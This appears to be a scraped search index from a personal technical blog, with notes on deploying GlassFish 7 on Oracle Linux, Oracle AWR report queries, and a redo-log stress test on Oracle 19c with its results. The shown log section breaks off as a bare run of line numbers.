23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [glassfish@test-ap-150 ~]$ export JAVA_HOME=\"/usr/local/lib/jvm/jdk-17-lasted\" [glassfish@test-ap-150 ~]$ java -version -bash: java: command not found [glassfish@test-ap-150 ~]$ export PATH=${PATH}:${JAVA_HOME}/bin [glassfish@test-ap-150 ~]$ java -version openjdk version \"17.0.17\" 2025-10-21 OpenJDK Runtime Environment Temurin-17.0.17+10 (build 17.0.17+10) OpenJDK 64-Bit Server VM Temurin-17.0.17+10 (build 17.0.17+10, mixed mode, sharing) [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin start-domain Waiting until start of domain domain1 completes................ ... finished after 15399 ms. Successfully started the domain domain1. Location: /opt/glassfish7/glassfish/domains/domain1 Log File: /opt/glassfish7/glassfish/domains/domain1/logs/server.log The pid file /opt/glassfish7/glassfish/domains/domain1/config/pid contains pid 1860. Process with pid 1860 is alive Admin Endpoints: http://localhost:4848 is reachable. Command start-domain executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin change-admin-password Enter admin user name [default: admin]\u003e Enter the admin password\u003e Enter the new admin password\u003e Enter the new admin password again\u003e Command change-admin-password executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin change-admin-password Enter admin user name [default: admin]\u003e Enter the admin password\u003e Enter the new admin password\u003e Enter the new admin password again\u003e Command change-admin-password executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin enable-secure-admin Enter admin user name\u003e admin Enter admin password for user \"admin\"\u003e You must restart all running servers for the change in secure admin to take effect. Command enable-secure-admin executed successfully. [glassfish@test-ap-150 ~]$ /opt/glassfish7/bin/asadmin restart-domain Stopping local domain on admin endpoint localhost:4848 Waiting for process with pid 1860 to stop. ... finished after 868 ms. Waiting for the new PID................... ... finished after 18980 ms. Waiting until start of domain domain1 completes. ... finished after 19 ms. Successfully started the domain domain1. Location: /opt/glassfish7/glassfish/domains/domain1 The pid file /opt/glassfish7/glassfish/domains/domain1/config/pid contains pid 2255. Process with pid 2255 is alive Admin Endpoints: http://localhost:4848 is reachable. Command restart-domain executed successfully. [glassfish@test-ap-150 ~]$ /etc/systemd/system/glassfish.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [Unit] Description=GlassFish Server v7 After=syslog.target network.target [Service] User=glassfish Group=glassfish Type=forking Environment=JAVA_HOME=/usr/local/lib/jvm/jdk-17-lasted ExecStart=/opt/glassfish7/bin/asadmin start-domain ExecStop=/opt/glassfish7/bin/asadmin stop-domain ExecReload=/opt/glassfish7/bin/asadmin restart-domain Restart=on-failure [Install] WantedBy=multi-user.target ","title":"deploy-glassfish-on-oracle-linux","type":"worknot"},{"content":"","date":"January 14, 2026","externalUrl":null,"permalink":"/tags/oracle-linux/","section":"Tags","summary":"","title":"Oracle Linux","type":"tags"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 --手動執行快照 exec DBMS_WORKLOAD_REPOSITORY.CREATE_SNAPSHOT(); -- 設定AWR 快照區間 BEGIN DBMS_WORKLOAD_REPOSITORY.MODIFY_SNAPSHOT_SETTINGS( retention =\u0026gt; 259200, -- 以分鐘為單位 (7天 = 7 * 24 * 60) interval =\u0026gt; 10 -- 以分鐘為單位 ); END; -- 查詢 AWR 資料範圍 select SNAP_ID,DBID,INSTANCE_NUMBER,BEGIN_INTERVAL_TIME,END_INTERVAL_TIME FROM awr_pdb_snapshot WHERE END_INTERVAL_TIME \u0026gt;= to_date(\u0026#39;2025-12-27 22:55:00\u0026#39;,\u0026#39;yyyy-mm-dd hh24:mi:ss\u0026#39;) AND BEGIN_INTERVAL_TIME \u0026lt;= to_date(\u0026#39;2025-12-28 05:20:00\u0026#39;,\u0026#39;yyyy-mm-dd hh24:mi:ss\u0026#39;) AND INSTANCE_NUMBER=1 ORDER BY SNAP_ID; -- 輸出 AWR HTML SELECT DBMS_WORKLOAD_REPOSITORY.AWR_REPORT_HTML(1979277899,1,88, 89) FROM dual; --輸出AWR TEXT SELECT output FROM TABLE( DBMS_WORKLOAD_REPOSITORY.AWR_REPORT_TEXT(1979277899,1,88, 89) ); SELECT output FROM TABLE( DBMS_WORKLOAD_REPOSITORY.AWR_REPORT_HTML(1979277899,1,88, 89) ); --匯出 AWR 所有資料 EXECUTE DBMS_WORKLOAD_REPOSITORY.AWR_EXP( dmpfile =\u0026gt; ‘awrdat’, dmpdir =\u0026gt; ‘DATA_PUMP_DIR’, bid =\u0026gt; 1, eid =\u0026gt; 1000000 ); --匯入 AWR 所有資料 EXECUTE DBMS_WORKLOAD_REPOSITORY.AWR_IMP( dmpfile =\u0026gt; ‘awrdat’, dmpdir =\u0026gt; ‘DATA_PUMP_DIR’ ); -- AWR 空間使用率 SELECT space_usage_kbytes/1024 MB_used FROM v$sysaux_occupants WHERE occupant_name=\u0026#39;SM/AWR\u0026#39;; generate_awr.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/bin/bash ORACLE_SID=ORCLCDB ORACLE_HOME=/u01/app/oracle/product/19.3/dbhome_1 REPORT_FILE=\u0026#34;awr_report_$(date +%Y%m%d).html\u0026#34; sqlplus -s / as sysdba \u0026lt;\u0026lt;EOF set pages 0 lines 200 feedback off spool $REPORT_FILE SELECT dbms_workload_repository.awr_report_html( (SELECT dbid FROM v\\$database), (SELECT instance_number FROM v\\$instance), (SELECT MAX(snap_id)-1 FROM dba_hist_snapshot), (SELECT MAX(snap_id) FROM dba_hist_snapshot) ) FROM dual; spool off EOF echo \u0026#34;AWR報告路徑：$REPORT_FILE\u0026#34; Reference # DBMS_WORKLOAD_REPOSITORY 使用工具来了解全局信息（awr、awrdd、addm等报告） ","date":"January 2, 2026","externalUrl":null,"permalink":"/oracle-database/oracle-awr/","section":"Oracle-Databases","summary":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 --手動執行快照 exec DBMS_WORKLOAD_REPOSITORY.CREATE_SNAPSHOT(); -- 設定AWR 快照區間 BEGIN DBMS_WORKLOAD_REPOSITORY.MODIFY_SNAPSHOT_SETTINGS( retention =\u003e 259200, -- 以分鐘為單位 (7天 = 7 * 24 * 60) interval =\u003e 10 -- 以分鐘為單位 ); END; -- 查詢 AWR 資料範圍 select SNAP_ID,DBID,INSTANCE_NUMBER,BEGIN_INTERVAL_TIME,END_INTERVAL_TIME FROM awr_pdb_snapshot WHERE END_INTERVAL_TIME \u003e= to_date('2025-12-27 22:55:00','yyyy-mm-dd hh24:mi:ss') AND BEGIN_INTERVAL_TIME \u003c= to_date('2025-12-28 05:20:00','yyyy-mm-dd hh24:mi:ss') AND INSTANCE_NUMBER=1 ORDER BY SNAP_ID; -- 輸出 AWR HTML SELECT DBMS_WORKLOAD_REPOSITORY.AWR_REPORT_HTML(1979277899,1,88, 89) FROM dual; --輸出AWR TEXT SELECT output FROM TABLE( DBMS_WORKLOAD_REPOSITORY.AWR_REPORT_TEXT(1979277899,1,88, 89) ); SELECT output FROM TABLE( DBMS_WORKLOAD_REPOSITORY.AWR_REPORT_HTML(1979277899,1,88, 89) ); --匯出 AWR 所有資料 EXECUTE DBMS_WORKLOAD_REPOSITORY.AWR_EXP( dmpfile =\u003e ‘awrdat’, dmpdir =\u003e ‘DATA_PUMP_DIR’, bid =\u003e 1, eid =\u003e 1000000 ); --匯入 AWR 所有資料 EXECUTE DBMS_WORKLOAD_REPOSITORY.AWR_IMP( dmpfile =\u003e ‘awrdat’, dmpdir =\u003e ‘DATA_PUMP_DIR’ ); -- AWR 空間使用率 SELECT space_usage_kbytes/1024 MB_used FROM v$sysaux_occupants WHERE occupant_name='SM/AWR'; generate_awr.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #!/bin/bash ORACLE_SID=ORCLCDB ORACLE_HOME=/u01/app/oracle/product/19.3/dbhome_1 REPORT_FILE=\"awr_report_$(date +%Y%m%d).html\" sqlplus -s / as sysdba \u003c\u003cEOF set pages 0 lines 200 feedback off spool $REPORT_FILE SELECT dbms_workload_repository.awr_report_html( (SELECT dbid FROM v\\$database), (SELECT instance_number FROM v\\$instance), (SELECT MAX(snap_id)-1 FROM dba_hist_snapshot), (SELECT MAX(snap_id) FROM dba_hist_snapshot) ) FROM dual; spool off EOF echo \"AWR報告路徑：$REPORT_FILE\" Reference # DBMS_WORKLOAD_REPOSITORY 使用工具来了解全局信息（awr、awrdd、addm等报告） ","title":"Oracle AWR 常用筆記","type":"oracle-database"},{"content":" Test Summary # insert and delete item start_storm start_storm_batch_commit start_storm_optimized start_storm_hint test result success execute timeout success success time range 2025-12-30 14:34:06 - 2025-12-30 14:37:50 2025-12-29 10:01:54 - 2025-12-29 21:49:39 2025-12-30 09:28:01 - 2025-12-30 09:34:40 2025-12-30 09:40:52 - 2025-12-30 09:42:25 total run time(s) 224 42465 399 93 CTAS item start_ctas start_ctas_nologging start_ctas_nologging_paralel test result success success success time range 2025-12-30 10:50:23 - 2025-12-30 10:51:54 2025-12-30 11:01:09 - 2025-12-30 11:01:11 2025-12-30 13:58:01 - 2025-12-30 13:58:03 total run time(s) 91 2 2 測試環境 # DB version: Oracle 19c OS: Oracle linux 7 CPU: 4 vCore RAM: 8G 測試前準備 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 SELECT GROUP# , status, bytes/1024/1024 FROM v$log l; GROUP#|STATUS |BYTES/1024/1024 ------+--------+--------------- 1|INACTIVE| 200 2|INACTIVE| 200 3|ACTIVE | 200 4|CURRENT | 10 5|UNUSED | 10 6|UNUSED | 10 ALTER DATABASE ADD LOGFILE GROUP 4 (\u0026#39;/u01/app/oracle/oradata/DB/redo04.log\u0026#39;) SIZE 10M; ALTER DATABASE ADD LOGFILE GROUP 5 (\u0026#39;/u01/app/oracle/oradata/DB/redo05.log\u0026#39;) SIZE 10M; ALTER DATABASE ADD LOGFILE GROUP 6 (\u0026#39;/u01/app/oracle/oradata/DB/redo06.log\u0026#39;) SIZE 10M; ALTER SYSTEM SWITCH LOGFILE; ALTER SYSTEM CHECKPOINT; ALTER DATABASE DROP LOGFILE GROUP 1; ALTER DATABASE DROP LOGFILE GROUP 2; ALTER DATABASE DROP LOGFILE GROUP 3; GROUP#|STATUS |BYTES/1024/1024 ------+--------+--------------- 4|CURRENT | 10 5|UNUSED | 10 6|UNUSED | 10 1 2 3 4 5 6 BEGIN DBMS_WORKLOAD_REPOSITORY.MODIFY_SNAPSHOT_SETTINGS( retention =\u0026gt; 259200, -- 以分鐘為單位 (7天 = 7 * 24 * 60) interval =\u0026gt; 10 -- 以分鐘為單位 ); END; 1 2 3 4 5 6 7 8 9 10 11 12 13 -- 建立測試 User (若已有可跳過) CREATE USER pollo IDENTIFIED BY oracle; GRANT CONNECT, RESOURCE, DBA TO demo_user; -- 準備來源表 (約 100~200MB 資料量) CREATE TABLE pollo.src_data NOLOGGING AS SELECT rownum AS id, a.* FROM dba_objects a, (SELECT 1 FROM dual CONNECT BY level \u0026lt;= 20) b; -- 以測試 User 登入 CONN pollo/oracle -- 準備目標空表 CREATE TABLE dest_table AS SELECT * FROM src_data WHERE 1=0; 1 2 3 4 5 6 7 8 9 10 CREATE TABLE stress_demo_log( OBJID NUMERIC GENERATED BY DEFAULT AS IDENTITY , DATE_CREATED DATE DEFAULT SYSDATE NOT NULL, test_id NUMERIC, test_name varchar2(100), DESC# nvarchar2(200), status varchar2(30), CONSTRAINT stress_demo_log_pk PRIMARY KEY (OBJID) ); 1 2 3 4 5 6 -- 確保 Package 已經是 VALID 狀態 SELECT type, line, position, text FROM all_errors WHERE name = \u0026#39;PKG_STRESS_DEMO\u0026#39; AND owner = \u0026#39;POLLO\u0026#39; ORDER BY type, sequence; there is my test package sql script\npkg_stress_demo.sql\nthere is test data table info. it\u0026rsquo;s size have 238 MB and it\u0026rsquo;s rows total have 1,452,780 .\n1 2 3 Table Name|Type |Size (MB)|Blocks|COUNT(*)| ----------+-----+---------+------+--------+ SRC_DATA |TABLE| 238| 30464| 1452780| there is test sql script\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 DECLARE V_TEST_ID NUMERIC := 1002; V_TEST_LOOP NUMERIC := 1; BEGIN -- 1. Standard Storm pkg_stress_demo.start_storm(V_TEST_LOOP ,V_TEST_ID); -- 2. Batch Commit pkg_stress_demo.start_storm_batch_commit(V_TEST_LOOP , 10,V_TEST_ID); -- 3. Commit Every Time pkg_stress_demo.start_storm_commit_every_time(V_TEST_LOOP,V_TEST_ID); -- 4. Optimized (Bulk) pkg_stress_demo.start_storm_optimized(V_TEST_LOOP,V_TEST_ID); -- 5. Hint (Append/Truncate) pkg_stress_demo.start_storm_hint(V_TEST_LOOP,V_TEST_ID); -- 6. Hint (ctas) pkg_stress_demo.start_ctas(V_TEST_LOOP,V_TEST_ID); -- 7. Hint (ctas-nologging) pkg_stress_demo.start_ctas_nologging(V_TEST_LOOP,V_TEST_ID); -- 8. Hint (ctas-nologging-paralel) pkg_stress_demo.start_ctas_nologging_paralel(V_TEST_LOOP,V_TEST_ID); END; Test Results # test item: start_storm # time range: 2025-12-30 14:34:06 - 2025-12-30 14:37:50 test script 1 2 3 4 5 6 DECLARE V_TEST_ID NUMERIC := 1001; V_TEST_LOOP NUMERIC := 1; BEGIN pkg_stress_demo.start_storm(V_TEST_LOOP ,V_TEST_ID); END; execute log 1 2 3 4 5 6 OBJID |DATE_CREATED |TEST_ID|TEST_NAME |DESC# |STATUS | ------+-----------------------+-------+-----------+--------------------------------+-----------+ 374349|2025-12-30 14:34:06.000| 1001|start_storm|=== Redo Storm 實驗開始 === |start | 374350|2025-12-30 14:34:06.000| 1001|start_storm|Loop 1 / 1 執行中... |loop-start | 374351|2025-12-30 14:37:50.000| 1001|start_storm|Loop 1 / 1 執行完畢... |loop-finish| 374352|2025-12-30 14:37:50.000| 1001|start_storm|=== 實驗結束，請檢查 Alert Log === |stop | test result error message 1 N/A alert log: alert_db1.log AWR Report: awr-report monitor from sql-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. monitor from nod-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. test item: start_storm_batch_commit # time range: 2025-12-29 10:01:54 - 2025-12-29 21:49:39 test script 1 2 3 4 5 6 DECLARE V_TEST_ID NUMERIC := 1002; V_TEST_LOOP NUMERIC := 1; BEGIN pkg_stress_demo.start_storm_batch_commit(V_TEST_LOOP , 10,V_TEST_ID); END; test result error message 1 2 3 4 SQL Error [1013] [72000]: ORA-01013: user requested cancel of current operation Error position: line: 1 alert log: alert_db1.log AWR Report: awr-report monitor from sql-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. monitor from nod-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. test itme: start_storm_optimized # time range: 2025-12-30 09:28:01 - 2025-12-30 09:34:40 test script 1 2 3 4 5 6 DECLARE V_TEST_ID NUMERIC := 1003; V_TEST_LOOP NUMERIC := 1; BEGIN pkg_stress_demo.start_storm_optimized(V_TEST_LOOP,V_TEST_ID); END; execute log 1 2 3 4 5 6 OBJID |DATE_CREATED |TEST_ID|TEST_NAME |DESC# |STATUS | ------+-----------------------+-------+---------------------+--------------------------+-----------+ 374329|2025-12-30 09:28:01.000| 1003|start_storm_optimized|=== Redo Storm 實驗開始 === |start | 374330|2025-12-30 09:28:01.000| 1003|start_storm_optimized|Loop 1 / 1 執行中... |loop-start | 374331|2025-12-30 09:34:40.000| 1003|start_storm_optimized|Loop 1 / 1 執行完畢... |loop-finish| 374332|2025-12-30 09:34:40.000| 1003|start_storm_optimized|=== 實驗結束，請檢查 Alert Log ===|stop | test result error message 1 N/A alert log: alert_db1.log AWR Report: awr-report monitor from sql-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. monitor from nod-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. test itme: start_storm_hint # time range: 2025-12-30 09:40:52 - 2025-12-30 09:42:25 test script 1 2 3 4 5 6 DECLARE V_TEST_ID NUMERIC := 1004; V_TEST_LOOP NUMERIC := 1; BEGIN pkg_stress_demo.start_storm_hint(V_TEST_LOOP,V_TEST_ID); END; execute log 1 2 3 4 5 6 OBJID |DATE_CREATED |TEST_ID|TEST_NAME |DESC# |STATUS | ------+-----------------------+-------+----------------+--------------------------+-----------+ 374333|2025-12-30 09:40:52.000| 1004|start_storm_hint|=== Redo Storm 實驗開始 === |start | 374334|2025-12-30 09:40:52.000| 1004|start_storm_hint|Loop 1 / 1 執行中... |loop-start | 374335|2025-12-30 09:42:25.000| 1004|start_storm_hint|Loop 1 / 1 執行完畢... |loop-finish| 374336|2025-12-30 09:42:25.000| 1004|start_storm_hint|=== 實驗結束，請檢查 Alert Log ===|stop | test result error message 1 N/A alert log: alert_db1.log AWR Report: awr-report monitor from sql-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. monitor from nod-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. test itme: start_ctas # time range: 2025-12-30 10:50:23 - 2025-12-30 10:51:54 test script 1 2 3 4 5 6 DECLARE V_TEST_ID NUMERIC := 1005; V_TEST_LOOP NUMERIC := 1; BEGIN pkg_stress_demo.start_ctas(V_TEST_LOOP,V_TEST_ID); END; execute log 1 2 3 4 5 6 OBJID |DATE_CREATED |TEST_ID|TEST_NAME |DESC# |STATUS | ------+-----------------------+-------+----------+--------------------------+-----------+ 374337|2025-12-30 10:50:23.000| 1005|start_ctas|=== Redo Storm 實驗開始 === |start | 374338|2025-12-30 10:50:23.000| 1005|start_ctas|Loop 1 / 1 執行中... |loop-start | 374339|2025-12-30 10:51:54.000| 1005|start_ctas|Loop 1 / 1 執行完畢... |loop-finish| 374340|2025-12-30 10:51:54.000| 1005|start_ctas|=== 實驗結束，請檢查 Alert Log ===|start | test result error message 1 N/A alert log: alert_db1.log AWR Report: awr-report monitor from sql-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. monitor from nod-expoter Previous Next \u0026nbsp; \u0026nbsp; / [pdf] View the PDF file here. test itme: start_ctas_nologging # time range: 2025-12-30 11:01:09 - 2025-12-30 11:01:11 test script 1 2 3 4 5 6 DECLARE V_TEST_ID NUMERIC := 1006; V_TEST_LOOP NUMERIC := 1; BEGIN pkg_stress_demo.start_ctas_nologging(V_TEST_LOOP,V_TEST_ID); END; execute log 1 2 3 4 5 6 OBJID |DATE_CREATED |TEST_ID|TEST_NAME |DESC# |STATUS | ------+-----------------------+-------+--------------------+--------------------------+-----------+ 374341|2025-12-30 11:01:09.000| 1006|start_ctas_nologging|=== Redo Storm 實驗開始 === |start | 374342|2025-12-30 11:01:09.000| 1006|start_ctas_nologging|Loop 1 / 1 執行中... |loop-start | 374343|2025-12-30 11:01:11.000| 1006|start_ctas_nologging|Loop 1 / 1 執行完畢... |loop-finish| 374344|2025-12-30 11:01:11.000| 1006|start_ctas_nologging|=== 實驗結束，請檢查 Alert Log ===|stop | test result error message 1 N/A alert log: alert_db1.log AWR Report: 時間太短測量不到 monitor from sql-expoter: 時間太短測量不到 monitor from nod-expoter: 時間太短測量不到 test itme: start_ctas_nologging_paralel # time range: 2025-12-30 13:58:01 - 2025-12-30 13:58:03 test script 1 2 3 4 5 6 DECLARE V_TEST_ID NUMERIC := 1007; V_TEST_LOOP NUMERIC := 1; BEGIN pkg_stress_demo.start_ctas_nologging_paralel(V_TEST_LOOP,V_TEST_ID); END; execute log 1 2 3 4 5 6 OBJID |DATE_CREATED |TEST_ID|TEST_NAME |DESC# |STATUS | ------+-----------------------+-------+----------------------------+--------------------------+-----------+ 374345|2025-12-30 13:58:01.000| 1007|start_ctas_nologging_paralel|=== Redo Storm 實驗開始 === |start | 374346|2025-12-30 13:58:01.000| 1007|start_storm_hint |Loop 1 / 1 執行中... |loop-start | 374347|2025-12-30 13:58:03.000| 1007|start_ctas_nologging_paralel|Loop 1 / 1 執行完畢... |loop-finish| 374348|2025-12-30 13:58:03.000| 1007|start_ctas_nologging_paralel|=== 實驗結束，請檢查 Alert Log ===|start | test result error message 1 N/A alert log: alert_db1.log AWR Report: 時間太短測量不到 monitor from sql-expoter: 時間太短測量不到 monitor from nod-expoter: 時間太短測量不到 測試失敗紀錄 # time range: 2025-12-27T 22:55:00.000 - 2025-12-28 05:20:00.000 結果: 主機硬碟滿 改善方式: 擴充硬碟, archivelog 與 datafile 硬碟隔離 logs # /u01/app/oracle/diag/rdbms/db/db1/trace/alert_db1.log 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 